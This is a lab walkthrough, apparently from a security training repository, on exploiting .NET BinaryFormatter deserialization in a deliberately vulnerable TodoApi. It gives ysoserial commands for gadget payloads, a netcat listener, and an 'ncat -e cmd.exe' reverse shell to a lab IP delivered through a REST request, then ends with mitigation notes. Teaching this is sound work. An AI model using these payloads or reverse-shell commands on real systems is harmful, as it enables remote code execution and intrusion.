rce-serialization-dotnet

Binary Serialization Vulnerability

The BinaryFormatter is present in .NET Framework, .NET Core1, and .NET 5-8. Microsoft released an extensive statement about the dangers of using the BinaryFormatter here:

BinaryFormatter Security Guide

On Feb. 9th, 2024, Microsoft announced the BinaryFormatter is being removed from .NET 9:

Announcement: BinaryFormatter is being removed in .NET 9

Solution Review

  1. Open the src/01-BinaryFormatterVulnerabilties/01-BinaryFormatterVulnerabilties.sln in your preferred IDE (Visual Studio or Visual Studio Code).

  2. Open the SerializationTests.cs file in the TodoApi.Tests project and observe the LaunchCalc method.

     [TestMethod]
     public void LaunchCalc()
     {
         // ysoserial -f BinaryFormatter -g ClaimsPrincipal -o base64 -c "calc"
         string maliciousString = "AAEA...UFDZ3M9Cw==";
    
         byte[] buffer = Convert.FromBase64String(maliciousString);
    
         using (var stream = new MemoryStream(buffer))
         {
             BinaryFormatter binaryformatter = new BinaryFormatter();
             object badObj = binaryformatter.Deserialize(stream);
         }
     }
    

    The malicious string was generated using:

     ysoserial -f BinaryFormatter -g ClaimsPrincipal -o base64 -c "calc"
    
    Parameter Description
    -f BinaryFormatter The serializer and format
    -g ClaimsPrincipal The gadget chain (exploitable class)
    -o base64 The output format (raw|base64|raw-urlencode|base64-urlencode|hex). Default: raw
    -c “calc” The command to be executed

    This uses a vulnerability in the constructor of the ClaimsPrincipal in .NET Framework 4.8 to launch calc.exe. Running this test launches calc.exe on Windows and generates a serialization exception.

  3. Open the MetadataItem.cs file in the Todo.API project Models folder. The BinaryJsonConverter is used to deserialize the request.

     public class MetadataItem
     {
         public string Name { get; set; }
    
         [JsonConverter(typeof(BinaryJsonConverter))]
         public object Data { get; set; }
     }
    
  4. Open the BinaryJsonConverter.cs in the root of the TodoApi project. The vulnerability occurs on Deserialization.

     using (var stream = new MemoryStream(buffer))
     {
         BinaryFormatter binaryformatter = new BinaryFormatter();
    
         // This is the vulnerable line of code
         convertedObj = binaryformatter.Deserialize(stream);
     }
    

Reproducing the Exploit : Launch Calc

  1. Run the solution in Debug mode.

  2. Open the requests.http file in the Solution Items directory.

  3. Send the requests in order with the following labels:

    Label Result
    list all items Returns an empty array.
    create a new task walk dog task is added. Observe isComplete is false
    update an existing task sets isComplete property on walk dog task to true
    send benign binary data creates process datatable task with a serialized data table in metadata
    list all items Returns walk dog and process datatable tasks

    These requests do not result in any errors or exploits. The last request returns:

     [
         {
             "id": 0,
             "name": "walk dog",
             "isComplete": true,
             "metadata": null
         },
         {
             "id": 1,
             "name": "process datatable",
             "isComplete": false,
             "metadata": 
             [
                 {
                     "name": "datatable",
                     "data": "AAEAAAD/////AQAAAAA...//Cw=="
                 }
             ]
         }
     ]
    
  4. Send the request labeled send malicious binary data to launch calc.exe. Observe that this launches the Calculator app on Windows. Deserialization raises an error and so the data property is null.

     {
         "id": 3,
         "name": "launch calc",
         "isComplete": false,
         "metadata": 
         [
             {
             "name": "calc",
             "data": null
             }
         ]
     }
    

Opening a Reverse Shell

Reverse shells allow an attacker to open a command shell on a vulnerable machine from the attacker’s machine.In this exercise, we will open a reverse shell from Ubuntu running on WSL (Windows Subsystem for Linux) to the Windows host.

This is a two stage process starting with launching a listener from the attacker. Then executing a command from the vulnerable target to open a port and establish access to the target’s shell from the attacker.

This uses ncat, a versatile networking tool with extensive command line options for opening connections.

Ncat may not be permitted in a work environment as it is often used for penetration testing and attacking. Executing network scans without permission may trigger security alerts and prompt a response from the organization’s Security Operations Center (SOC), potentially leading to disciplinary actions or legal consequences. Therefore, it is crucial to always obtain permission and follow established protocols before utilizing tools like Ncat in a professional setting.

Validating a Reverse Shell

This exercise walks through opening a reverse shell manually before adding more complexity. The next exercise opens a reverse shell by launching ncat from a malicious payload.

sequenceDiagram
    Ubuntu-Attacker->>Ubuntu-Attacker: Start listener using nc -vnlp 2222    
    Windows-Target->>Windows-Target: Execute ncat -e cmd.exe -nv <ipaddress> 2222
    activate Ubuntu-Attacker
    Windows-Target->>Ubuntu-Attacker: Opens reverse shell on port 2222    
    Ubuntu-Attacker->>Windows-Target: Execute shell commands

Preparing for the Attack

  1. Open a Windows Command or Powershell terminal and install nmap if it is not already present:

     winget install Insecure.Nmap
    
  2. Open an Ubuntu shell.

     wsl
    
  3. Get the ip address of the Ubuntu instance.

     ifconfig
    

    Note the IP address associated with the eth0 network interface. This example uses 172.30.181.236. This will be used later to open the reverse shell from the target.

    If ifconfig is not available, then install it using:

     sudo apt install net-tools
    
  4. Start the listener on port 2222.

     nc -vnlp 2222
    

    The options used here are:

    parameter description
    -v Set verbosity level (can be used several times)
    -n Do not resolve hostnames via DNS
    -l Bind and listen for incoming connections
    -p Specify source port to use

The listener is now started on the attacking machine and ready to receive a connection from the target.

Validating the Connection

Before executing the attack, verify that it will work from the target machine by directly opening the reverse shell. A real-world attacker would not have this option. Since this is a test environment, it can be used to verify the attack before adding more complexity with ysoserial.net and a REST request.

  1. Open a Windows Command or Powershell terminal and run:

     ncat -e cmd.exe -nv 172.30.181.236 2222
    

    Use the IP address of the Ubuntu instance from the prior section if it’s differs from the example. The -e parameter executes cmd.exe when the connection is established.

    Note the command line as this is used in the next exercise.

  2. Return to the Ubuntu instance running the listener. Observe that a Windows command prompt is now available.

     username@hostname:/mnt/c/Users/user$ nc -vnlp 2222
     Listening on 0.0.0.0 2222
     Connection received on 172.30.176.1 13502
     Microsoft Windows [Version 10.0.22631.3296]
     (c) Microsoft Corporation. All rights reserved.
     C:\Windows\System32>
    
  3. Run a few commands to validate the connection.

     dir
     whoami
     hostname
     ipconfig
    

Opening a Reverse Shell from a Malicious Payload

This exercise creates and sends a message which exploits BinaryFormatter deserialization to open a reverse shell.

Prepare the Payload

If ysoserial.exe is not yet available, then install it using the steps here: Install Ysoserial.

  1. Open a Windows Command or Powershell terminal.

  2. Generate the serialized BinaryFormatter payload that executes ncat. Use the command line that successfully opened a reverse shell in the prior exercise. Using the IP address of the Ubuntu instance in your environment which may be different than the example below.

     ysoserial -f BinaryFormatter -g ClaimsPrincipal -o base64 -c "ncat -e cmd.exe -nv 172.30.181.236 2222"
    
  3. Copy the generated payload to the requests.http file into the data property in the last request.

     POST https://:/api/TodoItems HTTP/1.1
     content-type: application/json
    
     {
     "name": "launch ncat",
     "metadata":
         [
             {
             "name": "launch ncat",
             "data": "<PASTE HERE>"
             }
         ]
     }
    

Launch the Attack

The sequence in the prior exercise changes a bit. In this scenario, the REST client could be from any machine with access to the REST endpoint. Rather than launching ncat manually, ncat runs when the payload is deserialized.

sequenceDiagram    
    Ubuntu-Attacker->>Ubuntu-Attacker: Start listener using nc -vnlp 2222
    REST Client->>Windows-Target: Send malicious payload
    Windows-Target->>Ubuntu-Attacker: Open reverse shell on port 2222
    Ubuntu-Attacker->>Windows-Target: Execute shell commands
  1. Open an Ubuntu shell.

     wsl
    
  2. Start the listener on port 2222.

     nc -vnlp 2222
    
  3. Launch the TodoAPI from your IDE in Debug Mode.

  4. Open requests.http file and send the last request that was updated with your payload.

  5. Navigate to the Ubuntu terminal running the listener on port 2222.

  6. Run a few commands to validate the connection.

     dir
     whoami
     hostname
     ipconfig
    

Mitigating the Vulnerability

Migrating from the BinaryFormatter is not straight-forward as there is no direct replacement. If the BinaryFormatter has been used to persist data in a product or service then a migration strategy is necessary. The BinaryFormatter Security Guide recommends using:

Other alternatives include:

  1. Binary Formatter was removed in .NET Core 1.0, but reappeared in .NET Core 1.1 and onward. 

  2. See Preparing for migration in BinaryFormatter is being removed in .NET 9 #293